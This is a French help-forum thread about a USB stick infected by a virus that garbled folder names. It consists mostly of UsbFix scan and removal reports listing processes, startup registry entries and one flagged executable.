Virus clé usb qui a transformé tous les noms de dossiers ex:ÞÇ'd

theob51 -  
billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   -
Bonjour,
Ma clé usb semble avoir été infectée, je ne retrouve aucun de mes dossiers et de nombreux dossiers avec des noms bizarres comme ì(E¨T8M.ÁÁù ou Ôã8ÿ=H?.Bþâ sont apparus. Lorsque je clique dessus, l'alerte "syntaxe du nom de fichier, de répertoire ou de volume incorrecte" apparaît. Avez-vous une idée?
Merci beaucoup!

21 réponses

  • 1
  • 2
  1. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    salut

    pour ton problème, fait ceci et poste le rapport via 1 copier/coller

    http://www.sosvirus.net/viewtopic.php?f=281&t=937

    merci

    @+
    1
  2. theob51 Messages postés 12 Statut Membre
     
    ############################## | UsbFix V 7.169 | [Recherche]

    Utilisateur: Théodora (Administrateur) # PC-DE-ACER
    Mis à jour le 31/03/2014 par El Desaparecido - Team SosVirus
    Lancé à 10:46:54 | 29/04/2014

    Site Web : https://www.usbfix.net/
    Changelog : https://www.usb-antivirus.com/fr/maj/
    Support : https://depannageinformatique.org/acheter/reservation/?f=6
    Upload Malware : http://www.sosvirus.net/upload_malware.php
    Contact : https://www.usb-antivirus.com/fr/contact/

    PC: Acer (CathedralPeak )
    CPU: Pentium(R) Dual-Core CPU T4200 @ 2.00GHz
    RAM -> [Total : 2972 Mo| Free : 1306 Mo]
    Bios: Phoenix Technologies LTD
    Boot: Normal boot

    OS: Microsoft® Windows Vista(TM) Édition Familiale Premium (6.0.6002 32-Bit) Service Pack 2
    WB: Windows Internet Explorer : 7.0.6002.18005
    WB: Google Chrome : 33.0.1750.154
    WB: Mozilla Firefox : 28.0
    WB: Safari : 534.57.2

    SC: Security Center [Enabled]
    WU: Windows Update [Enabled]
    AV: AVG AntiVirus Free Edition 2014 [(!) Disabled | Updated]
    AS: Windows Defender [(!) Disabled | (!) Outdated]
    AS: AVG AntiVirus Free Edition 2014 [(!) Disabled | Updated]
    FW: Windows FireWall [Enabled]

    C:\ (%systemdrive%) -> Disque fixe # 228 Go (45 Go libre(s) - 20%) [ACER] # NTFS
    D:\ -> Disque fixe # 228 Go (228 Go libre(s) - 100%) [DATA] # NTFS
    E:\ -> CD-ROM
    G:\ -> Disque amovible # 61 Go (9 Go libre(s) - 15%) [,Pï=¿pøkk/] # FAT32

    ################## | Processus Actif |

    C:\Windows\system32\csrss.exe (ID: 752 |ParentID: 740)
    C:\Windows\system32\wininit.exe (ID: 796 |ParentID: 740)
    C:\Windows\system32\csrss.exe (ID: 808 |ParentID: 788)
    C:\Windows\system32\services.exe (ID: 844 |ParentID: 796)
    C:\Windows\system32\lsass.exe (ID: 856 |ParentID: 796)
    C:\Windows\system32\lsm.exe (ID: 864 |ParentID: 796)
    C:\Windows\system32\winlogon.exe (ID: 976 |ParentID: 788)
    C:\Windows\system32\svchost.exe (ID: 1056 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 1116 |ParentID: 844)
    C:\Windows\System32\svchost.exe (ID: 1228 |ParentID: 844)
    C:\Windows\System32\svchost.exe (ID: 1296 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 1316 |ParentID: 844)
    C:\Windows\system32\SLsvc.exe (ID: 1432 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 1468 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 1624 |ParentID: 844)
    C:\ProgramData\IePluginService\PluginService.exe (ID: 1740 |ParentID: 844)
    C:\ProgramData\WPM\wprotectmanager.exe (ID: 1772 |ParentID: 844)
    C:\Windows\System32\spoolsv.exe (ID: 1864 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 1912 |ParentID: 844)
    C:\Program Files\Common Files\Adobe\ARM\1.0\armsvc.exe (ID: 320 |ParentID: 844)
    C:\Windows\system32\agrsmsvc.exe (ID: 464 |ParentID: 844)
    C:\Program Files\AskPartnerNetwork\Toolbar\apnmcp.exe (ID: 472 |ParentID: 844)
    C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe (ID: 724 |ParentID: 844)
    C:\Program Files\AVG\AVG2014\avgwdsvc.exe (ID: 836 |ParentID: 844)
    C:\Program Files\Bonjour\mDNSResponder.exe (ID: 956 |ParentID: 844)
    C:\Program Files\NewTech Infosystems\NTI Backup Now 5\Client\Agentsvc.exe (ID: 788 |ParentID: 844)
    C:\Program Files\Acer Arcade Deluxe\HomeMedia\Kernel\DMP\CLHNService.exe (ID: 1100 |ParentID: 844)
    C:\Program Files\Acer\Empowering Technology\eDataSecurity\x86\eDSService.exe (ID: 1392 |ParentID: 844)
    C:\Program Files\Acer\Empowering Technology\Service\ETService.exe (ID: 2080 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 2136 |ParentID: 844)
    C:\Program Files\Canon\IJPLM\IJPLMSVC.EXE (ID: 2152 |ParentID: 844)
    C:\Program Files\Common Files\LightScribe\LSSrvc.exe (ID: 2180 |ParentID: 844)
    C:\Acer\Mobility Center\MobilityService.exe (ID: 2216 |ParentID: 844)
    C:\Windows\System32\svchost.exe (ID: 2316 |ParentID: 844)
    C:\Program Files\NewTech Infosystems\NTI Backup Now 5\BackupSvc.exe (ID: 2360 |ParentID: 844)
    C:\Program Files\NewTech Infosystems\NTI Backup Now 5\SchedulerSvc.exe (ID: 2520 |ParentID: 844)
    C:\Windows\System32\svchost.exe (ID: 2572 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 2584 |ParentID: 844)
    c:\Program Files\Cyberlink\Shared files\RichVideo.exe (ID: 2612 |ParentID: 844)
    C:\Windows\system32\Dwm.exe (ID: 3124 |ParentID: 1296)
    C:\Windows\system32\taskeng.exe (ID: 3132 |ParentID: 1316)
    C:\Windows\Explorer.EXE (ID: 3204 |ParentID: 3116)
    C:\Windows\system32\taskeng.exe (ID: 3272 |ParentID: 1316)
    C:\Program Files\AVG\AVG PC Tuneup\BoostSpeed.exe (ID: 3424 |ParentID: 3272)
    C:\Windows\system32\taskeng.exe (ID: 3440 |ParentID: 1316)
    C:\Program Files\Synaptics\SynTP\SynTPEnh.exe (ID: 3680 |ParentID: 3204)
    C:\Program Files\NewTech Infosystems\NTI Backup Now 5\BkupTray.exe (ID: 3720 |ParentID: 3204)
    C:\Windows\RtHDVCpl.exe (ID: 3744 |ParentID: 3204)
    C:\Windows\system32\igfxsrvc.exe (ID: 3840 |ParentID: 1056)
    C:\Users\CABINE~1\AppData\Local\Temp\RtkBtMnt.exe (ID: 4040 |ParentID: 3744)
    C:\Windows\system32\spool\drivers\w32x86\3\NetFaxServer.exe (ID: 2376 |ParentID: 844)
    C:\Program Files\Soda PDF 5\HelperService.exe (ID: 2620 |ParentID: 844)
    C:\Program Files\Soda PDF 5\ConversionService.exe (ID: 2896 |ParentID: 844)
    C:\Windows\system32\svchost.exe (ID: 3080 |ParentID: 844)
    C:\Windows\System32\svchost.exe (ID: 2024 |ParentID: 844)
    C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE (ID: 3284 |ParentID: 844)
    C:\Windows\system32\SearchIndexer.exe (ID: 1284 |ParentID: 844)
    C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSvcM.exe (ID: 1192 |ParentID: 3284)
    C:\Program Files\Spybot - Search & Destroy\SDWinSec.exe (ID: 3796 |ParentID: 844)
    C:\Windows\System32\WUDFHost.exe (ID: 3760 |ParentID: 1296)
    C:\Windows\system32\svchost.exe (ID: 2868 |ParentID: 844)
    C:\Windows\system32\wbem\unsecapp.exe (ID: 3256 |ParentID: 1056)
    C:\Windows\system32\wbem\wmiprvse.exe (ID: 1152 |ParentID: 1056)
    C:\Program Files\Launch Manager\LManager.exe (ID: 4280 |ParentID: 3204)
    C:\Program Files\Acer\Empowering Technology\eDataSecurity\x86\eDSLoader.exe (ID: 4288 |ParentID: 3204)
    C:\Program Files\Acer\Empowering Technology\ePower\ePower_DMC.exe (ID: 4308 |ParentID: 3204)
    C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\ArcadeDeluxeAgent.exe (ID: 4320 |ParentID: 3204)
    C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\Kernel\CLML\CLMLSvc.exe (ID: 4332 |ParentID: 3204)
    C:\Program Files\Acer Arcade Deluxe\PlayMovie\PMVService.exe (ID: 4340 |ParentID: 3204)
    C:\Windows\System32\igfxtray.exe (ID: 4356 |ParentID: 3204)
    C:\Windows\System32\hkcmd.exe (ID: 4364 |ParentID: 3204)
    C:\Windows\System32\igfxpers.exe (ID: 4376 |ParentID: 3204)
    C:\Program Files\Windows iLivid Toolbar\Datamngr\datamngrUI.exe (ID: 4396 |ParentID: 3204)
    C:\Program Files\SweetIM\Messenger\SweetIM.exe (ID: 4420 |ParentID: 3204)
    C:\Program Files\HP\HP Software Update\hpwuschd2.exe (ID: 4432 |ParentID: 3204)
    C:\Windows\twain_32\Samsung\CLX3180\Scan2Pc.exe (ID: 4460 |ParentID: 3204)
    C:\Program Files\Canon\MyPrinter\BJMYPRT.EXE (ID: 4468 |ParentID: 3204)
    C:\Program Files\Canon\Solution Menu EX\CNSEMAIN.EXE (ID: 4476 |ParentID: 3204)
    C:\Program Files\Canon\IJ Network Scanner Selector EX\CNMNSST.exe (ID: 4504 |ParentID: 3204)
    C:\Windows\system32\igfxext.exe (ID: 4552 |ParentID: 1056)
    C:\Windows\system32\igfxsrvc.exe (ID: 4580 |ParentID: 1056)
    C:\Program Files\AskPartnerNetwork\Toolbar\Updater\TBNotifier.exe (ID: 4604 |ParentID: 3204)
    C:\Program Files\Common Files\Java\Java Update\jusched.exe (ID: 4612 |ParentID: 3204)
    C:\Program Files\iTunes\iTunesHelper.exe (ID: 4640 |ParentID: 3204)
    C:\Program Files\Windows Media Player\wmpnscfg.exe (ID: 4860 |ParentID: 3204)
    C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe (ID: 4892 |ParentID: 3204)
    C:\Program Files\McAfee Security Scan\3.8.141\SSScheduler.exe (ID: 4900 |ParentID: 3204)
    C:\Users\Cabinet Orthophonie\AppData\Roaming\Dropbox\bin\Dropbox.exe (ID: 4936 |ParentID: 3204)
    C:\Program Files\Windows Media Player\wmpnetwk.exe (ID: 5152 |ParentID: 844)
    C:\Windows\system32\wbem\unsecapp.exe (ID: 5528 |ParentID: 1056)
    C:\Program Files\AVG\AVG2014\avgui.exe (ID: 5836 |ParentID: 3204)
    C:\Windows\system32\ctfmon.exe (ID: 4708 |ParentID: 5836)
    C:\Program Files\iPod\bin\iPodService.exe (ID: 1448 |ParentID: 844)
    C:\Program Files\Synaptics\SynTP\SynTPHelper.exe (ID: 5612 |ParentID: 3680)
    C:\Program Files\HP\Digital Imaging\bin\hpqSTE08.exe (ID: 5432 |ParentID: 4892)
    C:\Program Files\HP\Digital Imaging\bin\hpqbam08.exe (ID: 1028 |ParentID: 1056)
    C:\Program Files\HP\Digital Imaging\bin\hpqgpc01.exe (ID: 5192 |ParentID: 1056)
    C:\Windows\system32\svchost.exe (ID: 1816 |ParentID: 844)
    C:\Windows\system32\SearchProtocolHost.exe (ID: 5664 |ParentID: 1284)
    C:\Windows\system32\csrss.exe (ID: 2968 |ParentID: 2296)
    C:\Windows\system32\winlogon.exe (ID: 5592 |ParentID: 2296)
    C:\Windows\system32\taskeng.exe (ID: 1948 |ParentID: 1316)
    C:\Windows\system32\Dwm.exe (ID: 1380 |ParentID: 1296)
    C:\Windows\Explorer.EXE (ID: 5812 |ParentID: 2736)
    C:\Program Files\Synaptics\SynTP\SynTPEnh.exe (ID: 5976 |ParentID: 5812)
    C:\Program Files\NewTech Infosystems\NTI Backup Now 5\BkupTray.exe (ID: 4988 |ParentID: 5812)
    C:\Windows\RtHDVCpl.exe (ID: 3460 |ParentID: 5812)
    C:\Windows\system32\igfxsrvc.exe (ID: 5780 |ParentID: 1056)
    C:\Program Files\Launch Manager\LManager.exe (ID: 3240 |ParentID: 5812)
    C:\Program Files\Acer\Empowering Technology\eDataSecurity\x86\eDSLoader.exe (ID: 3492 |ParentID: 5812)
    C:\Program Files\Acer\Empowering Technology\ePower\ePower_DMC.exe (ID: 3600 |ParentID: 5812)
    C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\ArcadeDeluxeAgent.exe (ID: 5516 |ParentID: 5812)
    C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\Kernel\CLML\CLMLSvc.exe (ID: 3852 |ParentID: 5812)
    C:\Program Files\Acer Arcade Deluxe\PlayMovie\PMVService.exe (ID: 1416 |ParentID: 5812)
    C:\Windows\System32\hkcmd.exe (ID: 1276 |ParentID: 5812)
    C:\Windows\System32\igfxpers.exe (ID: 4272 |ParentID: 5812)
    C:\Program Files\Windows iLivid Toolbar\Datamngr\datamngrUI.exe (ID: 4928 |ParentID: 5812)
    C:\Program Files\HP\HP Software Update\hpwuschd2.exe (ID: 5632 |ParentID: 5812)
    C:\Program Files\Real\RealPlayer\Update\realsched.exe (ID: 940 |ParentID: 5812)
    C:\Windows\twain_32\Samsung\CLX3180\Scan2Pc.exe (ID: 3500 |ParentID: 5812)
    C:\Program Files\Canon\MyPrinter\BJMYPRT.EXE (ID: 5104 |ParentID: 5812)
    C:\Program Files\Canon\Solution Menu EX\CNSEMAIN.EXE (ID: 4912 |ParentID: 5812)
    C:\Program Files\Canon\IJ Network Scanner Selector EX\CNMNSST.exe (ID: 840 |ParentID: 5812)
    C:\Program Files\AVG\AVG2014\avgui.exe (ID: 2956 |ParentID: 5812)
    C:\Program Files\AskPartnerNetwork\Toolbar\Updater\TBNotifier.exe (ID: 5888 |ParentID: 5812)
    C:\Program Files\Common Files\Java\Java Update\jusched.exe (ID: 4200 |ParentID: 5812)
    C:\Program Files\iTunes\iTunesHelper.exe (ID: 4824 |ParentID: 5812)
    C:\Program Files\Windows Media Player\wmpnscfg.exe (ID: 1952 |ParentID: 5812)
    C:\Windows\system32\igfxext.exe (ID: 5004 |ParentID: 1056)
    C:\Windows\system32\igfxsrvc.exe (ID: 5768 |ParentID: 1056)
    C:\Windows\system32\wbem\unsecapp.exe (ID: 3976 |ParentID: 1056)
    C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe (ID: 1036 |ParentID: 5812)
    C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe (ID: 5028 |ParentID: 5812)
    C:\Program Files\McAfee Security Scan\3.8.141\SSScheduler.exe (ID: 5968 |ParentID: 5812)
    C:\Users\THODOR~1\AppData\Local\Temp\RtkBtMnt.exe (ID: 7040 |ParentID: 3460)
    C:\Program Files\HP\Digital Imaging\bin\hpqSTE08.exe (ID: 7388 |ParentID: 5028)
    C:\Program Files\HP\Digital Imaging\bin\hpqbam08.exe (ID: 7524 |ParentID: 1056)
    C:\Program Files\HP\Digital Imaging\bin\hpqgpc01.exe (ID: 7580 |ParentID: 1056)
    C:\Windows\system32\ctfmon.exe (ID: 6204 |ParentID: 2956)
    C:\Program Files\Synaptics\SynTP\SynTPHelper.exe (ID: 6616 |ParentID: 5976)
    C:\Program Files\Canon\Solution Menu EX\CNSEUPDT.EXE (ID: 6768 |ParentID: 4912)
    C:\Program Files\Mozilla Firefox\firefox.exe (ID: 4788 |ParentID: 3660)
    C:\Windows\system32\taskeng.exe (ID: 4416 |ParentID: 1316)
    C:\Windows\system32\SearchFilterHost.exe (ID: 6732 |ParentID: 1284)
    C:\Windows\system32\wbem\wmiprvse.exe (ID: 7708 |ParentID: 1056)

    ################## | Regedit Run |

    F2 - HKLM\..\Winlogon : [Shell] explorer.exe
    F2 - [x64] HKLM\..\Winlogon : [Shell] explorer.exe
    F2 - HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
    F2 - [x64] HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
    04 - HKCU\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKCU\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe
    04 - HKCU\..\Run : [Google Update] "C:\Users\Théodora\AppData\Local\Google\Update\GoogleUpdate.exe" /c
    04 - HKCU\..\Run : [SpybotSD TeaTimer] C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
    04 - HKLM\..\Run : [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hide
    04 - HKLM\..\Run : [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
    04 - HKLM\..\Run : [BkupTray] "C:\Program Files\NewTech Infosystems\NTI Backup Now 5\BkupTray.exe"
    04 - HKLM\..\Run : [RtHDVCpl] RtHDVCpl.exe
    04 - HKLM\..\Run : [Skytel] Skytel.exe
    04 - HKLM\..\Run : [LManager] C:\PROGRA~1\LAUNCH~1\LManager.exe
    04 - HKLM\..\Run : [eDataSecurity Loader] C:\Program Files\Acer\Empowering Technology\eDataSecurity\x86\eDSloader.exe
    04 - HKLM\..\Run : [ePower_DMC] C:\Program Files\Acer\Empowering Technology\ePower\ePower_DMC.exe
    04 - HKLM\..\Run : [ArcadeDeluxeAgent] "C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\ArcadeDeluxeAgent.exe"
    04 - HKLM\..\Run : [CLMLServer] "C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\Kernel\CLML\CLMLSvc.exe"
    04 - HKLM\..\Run : [PlayMovie] "C:\Program Files\Acer Arcade Deluxe\PlayMovie\PMVService.exe"
    04 - HKLM\..\Run : [RoxWatchTray] "C:\Program Files\Common Files\Roxio Shared\9.0\SharedCOM\RoxWatchTray9.exe"
    04 - HKLM\..\Run : [IgfxTray] C:\Windows\system32\igfxtray.exe
    04 - HKLM\..\Run : [HotKeysCmds] C:\Windows\system32\hkcmd.exe
    04 - HKLM\..\Run : [Persistence] C:\Windows\system32\igfxpers.exe
    04 - HKLM\..\Run : [DATAMNGR] C:\PROGRA~1\WI371A~1\Datamngr\DATAMN~1.EXE
    04 - HKLM\..\Run : [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
    04 - HKLM\..\Run : [SweetIM] C:\Program Files\SweetIM\Messenger\SweetIM.exe
    04 - HKLM\..\Run : [HP Software Update] C:\Program Files\Hp\HP Software Update\HPWuSchd2.exe
    04 - HKLM\..\Run : []
    04 - HKLM\..\Run : [TkBellExe] "C:\Program Files\Real\RealPlayer\Update\realsched.exe" -osboot
    04 - HKLM\..\Run : [CLX3180_Scan2Pc] C:\Windows\Twain_32\Samsung\CLX3180\Scan2pc.exe
    04 - HKLM\..\Run : [CanonMyPrinter] C:\Program Files\Canon\MyPrinter\BJMyPrt.exe /logon
    04 - HKLM\..\Run : [CanonSolutionMenuEx] C:\Program Files\Canon\Solution Menu EX\CNSEMAIN.EXE /logon
    04 - HKLM\..\Run : [IJNetworkScannerSelectorEX] C:\Program Files\Canon\IJ Network Scanner Selector EX\CNMNSST.exe /FORCE
    04 - HKLM\..\Run : [AVG_UI] "C:\Program Files\AVG\AVG2014\avgui.exe" /TRAYONLY
    04 - HKLM\..\Run : [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
    04 - HKLM\..\Run : [ApnTBMon] "C:\Program Files\AskPartnerNetwork\Toolbar\Updater\TBNotifier.exe"
    04 - HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
    04 - HKLM\..\Run : [QuickTime Task] "C:\Program Files\QuickTime\QTTask.exe" -atboottime
    04 - HKLM\..\Run : [iTunesHelper] "C:\Program Files\iTunes\iTunesHelper.exe"
    04 - HKLM\..\RunOnce : []
    04 - HKU\S-1-5-19\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /detectMem
    04 - HKU\S-1-5-19\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-20\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /detectMem
    04 - HKU\S-1-5-20\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [Google Update] "C:\Users\Théodora\AppData\Local\Google\Update\GoogleUpdate.exe" /c
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [SpybotSD TeaTimer] C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1002\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1002\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1002\..\Run : [Google Update] "C:\Users\Cabinet Orthophonie\AppData\Local\Google\Update\GoogleUpdate.exe" /c
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1002\..\Run : [WMPNSCFG] C:\Program Files\Windows Media Player\WMPNSCFG.exe

    ################## | Recherche générique |

    Présent! C:\Users\Public\gt.zip
    Présent! C:\Users\THODOR~1\AppData\Local\Temp\RtkBtMnt.exe

    ################## | Registre |

    ################## | E.O.F | https://www.usbfix.net/ - https://www.sosvirus.net/ |
    0
  3. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    re

    désinstalle Spybot et McAfee Security Scan
    ====================================================

    ensuite, relance usbfix en mode suppression et poste le rapport via 1 copier/coller

    merci

    @+
    0
  4. theob51 Messages postés 12 Statut Membre
     
    un message d'erreur apparaît lors de la suppression:
    Line 25040 (file C:/UsbFix/UsbFix.exe
    error: subscript used on non-accessible variable
    0
    1. theob51 Messages postés 12 Statut Membre
       
      Merci bcp de ton aide!
      0
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. theob51 Messages postés 12 Statut Membre
     
    Je ne dois pas être douée mais même en mode sans échec l'erreur apparaît... Aie Aie j'espère ne pas avoirà faire une croix sur cette clé!
    0
  7. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    re

    regarde dans C:\ si tu n'as pas 1 bout de rapport d'usbfix

    merci

    @+
    0
  8. theob51 Messages postés 12 Statut Membre
     
    ############################## | UsbFix V 7.169 | [Suppression]

    Utilisateur: Théodora (Administrateur) # PC-DE-ACER
    Mis à jour le 31/03/2014 par El Desaparecido - Team SosVirus
    Lancé à 12:29:54 | 29/04/2014

    Site Web : https://www.usbfix.net/
    Changelog : https://www.usb-antivirus.com/fr/maj/
    Support : https://depannageinformatique.org/acheter/reservation/?f=6
    Upload Malware : http://www.sosvirus.net/upload_malware.php
    Contact : https://www.usb-antivirus.com/fr/contact/

    PC: Acer (CathedralPeak )
    CPU: Pentium(R) Dual-Core CPU T4200 @ 2.00GHz
    RAM -> [Total : 2972 Mo| Free : 2506 Mo]
    Bios: Phoenix Technologies LTD
    Boot: Fail-safe boot

    OS: Microsoft® Windows Vista(TM) Édition Familiale Premium (6.0.6002 32-Bit) Service Pack 2
    WB: Windows Internet Explorer : 7.0.6002.18005
    WB: Google Chrome : 33.0.1750.154
    WB: Mozilla Firefox : 28.0
    WB: Safari : 534.57.2

    SC: Security Center [Enabled]
    WU: Windows Update [Enabled]
    AV: AVG AntiVirus Free Edition 2014 [(!) Disabled | Updated]
    AS: Windows Defender [(!) Disabled | (!) Outdated]
    AS: AVG AntiVirus Free Edition 2014 [(!) Disabled | Updated]
    FW: Windows FireWall [Enabled]

    C:\ (%systemdrive%) -> Disque fixe # 228 Go (54 Go libre(s) - 24%) [ACER] # NTFS
    D:\ -> Disque fixe # 228 Go (228 Go libre(s) - 100%) [DATA] # NTFS
    E:\ -> CD-ROM
    G:\ -> Disque amovible # 61 Go (9 Go libre(s) - 15%) [,Pï=¿pøkk/] # FAT32

    ################## | Processus Actif |

    C:\Windows\system32\csrss.exe (ID: 384 |ParentID: 372)
    C:\Windows\system32\csrss.exe (ID: 420 |ParentID: 412)
    C:\Windows\system32\wininit.exe (ID: 428 |ParentID: 372)
    C:\Windows\system32\winlogon.exe (ID: 464 |ParentID: 412)
    C:\Windows\system32\services.exe (ID: 504 |ParentID: 428)
    C:\Windows\system32\lsass.exe (ID: 516 |ParentID: 428)
    C:\Windows\system32\lsm.exe (ID: 524 |ParentID: 428)
    C:\Windows\system32\svchost.exe (ID: 660 |ParentID: 504)
    C:\Windows\system32\svchost.exe (ID: 716 |ParentID: 504)
    C:\Windows\System32\svchost.exe (ID: 840 |ParentID: 504)
    C:\Windows\system32\svchost.exe (ID: 868 |ParentID: 504)
    C:\Windows\System32\svchost.exe (ID: 904 |ParentID: 504)
    C:\Windows\system32\svchost.exe (ID: 984 |ParentID: 504)
    C:\Windows\Explorer.EXE (ID: 1124 |ParentID: 1116)
    C:\Windows\helppane.exe (ID: 1296 |ParentID: 660)
    C:\Windows\system32\wbem\unsecapp.exe (ID: 1536 |ParentID: 660)
    C:\Windows\system32\wbem\wmiprvse.exe (ID: 1612 |ParentID: 660)
    C:\Windows\system32\wbem\wmiprvse.exe (ID: 1908 |ParentID: 660)

    ################## | Recherche générique |

    Supprimé! C:\Users\THODOR~1\AppData\Local\Temp\RtkBtMnt.exe

    (!) Fichiers temporaires supprimés.

    ################## | Registre |

    ################## | Regedit Run |

    F2 - HKLM\..\Winlogon : [Shell] explorer.exe
    F2 - [x64] HKLM\..\Winlogon : [Shell] explorer.exe
    F2 - HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
    F2 - [x64] HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
    04 - HKCU\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKCU\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe
    04 - HKLM\..\Run : [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hide
    04 - HKLM\..\Run : [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
    04 - HKLM\..\Run : [BkupTray] "C:\Program Files\NewTech Infosystems\NTI Backup Now 5\BkupTray.exe"
    04 - HKLM\..\Run : [RtHDVCpl] RtHDVCpl.exe
    04 - HKLM\..\Run : [Skytel] Skytel.exe
    04 - HKLM\..\Run : [LManager] C:\PROGRA~1\LAUNCH~1\LManager.exe
    04 - HKLM\..\Run : [eDataSecurity Loader] C:\Program Files\Acer\Empowering Technology\eDataSecurity\x86\eDSloader.exe
    04 - HKLM\..\Run : [ePower_DMC] C:\Program Files\Acer\Empowering Technology\ePower\ePower_DMC.exe
    04 - HKLM\..\Run : [ArcadeDeluxeAgent] "C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\ArcadeDeluxeAgent.exe"
    04 - HKLM\..\Run : [CLMLServer] "C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\Kernel\CLML\CLMLSvc.exe"
    04 - HKLM\..\Run : [PlayMovie] "C:\Program Files\Acer Arcade Deluxe\PlayMovie\PMVService.exe"
    04 - HKLM\..\Run : [RoxWatchTray] "C:\Program Files\Common Files\Roxio Shared\9.0\SharedCOM\RoxWatchTray9.exe"
    04 - HKLM\..\Run : [IgfxTray] C:\Windows\system32\igfxtray.exe
    04 - HKLM\..\Run : [HotKeysCmds] C:\Windows\system32\hkcmd.exe
    04 - HKLM\..\Run : [Persistence] C:\Windows\system32\igfxpers.exe
    04 - HKLM\..\Run : [DATAMNGR] C:\PROGRA~1\WI371A~1\Datamngr\DATAMN~1.EXE
    04 - HKLM\..\Run : [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
    04 - HKLM\..\Run : [SweetIM] C:\Program Files\SweetIM\Messenger\SweetIM.exe
    04 - HKLM\..\Run : [HP Software Update] C:\Program Files\Hp\HP Software Update\HPWuSchd2.exe
    04 - HKLM\..\Run : []
    04 - HKLM\..\Run : [TkBellExe] "C:\Program Files\Real\RealPlayer\Update\realsched.exe" -osboot
    04 - HKLM\..\Run : [CLX3180_Scan2Pc] C:\Windows\Twain_32\Samsung\CLX3180\Scan2pc.exe
    04 - HKLM\..\Run : [CanonMyPrinter] C:\Program Files\Canon\MyPrinter\BJMyPrt.exe /logon
    04 - HKLM\..\Run : [CanonSolutionMenuEx] C:\Program Files\Canon\Solution Menu EX\CNSEMAIN.EXE /logon
    04 - HKLM\..\Run : [IJNetworkScannerSelectorEX] C:\Program Files\Canon\IJ Network Scanner Selector EX\CNMNSST.exe /FORCE
    04 - HKLM\..\Run : [AVG_UI] "C:\Program Files\AVG\AVG2014\avgui.exe" /TRAYONLY
    04 - HKLM\..\Run : [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
    04 - HKLM\..\Run : [ApnTBMon] "C:\Program Files\AskPartnerNetwork\Toolbar\Updater\TBNotifier.exe"
    04 - HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
    04 - HKLM\..\Run : [QuickTime Task] "C:\Program Files\QuickTime\QTTask.exe" -atboottime
    04 - HKLM\..\Run : [iTunesHelper] "C:\Program Files\iTunes\iTunesHelper.exe"
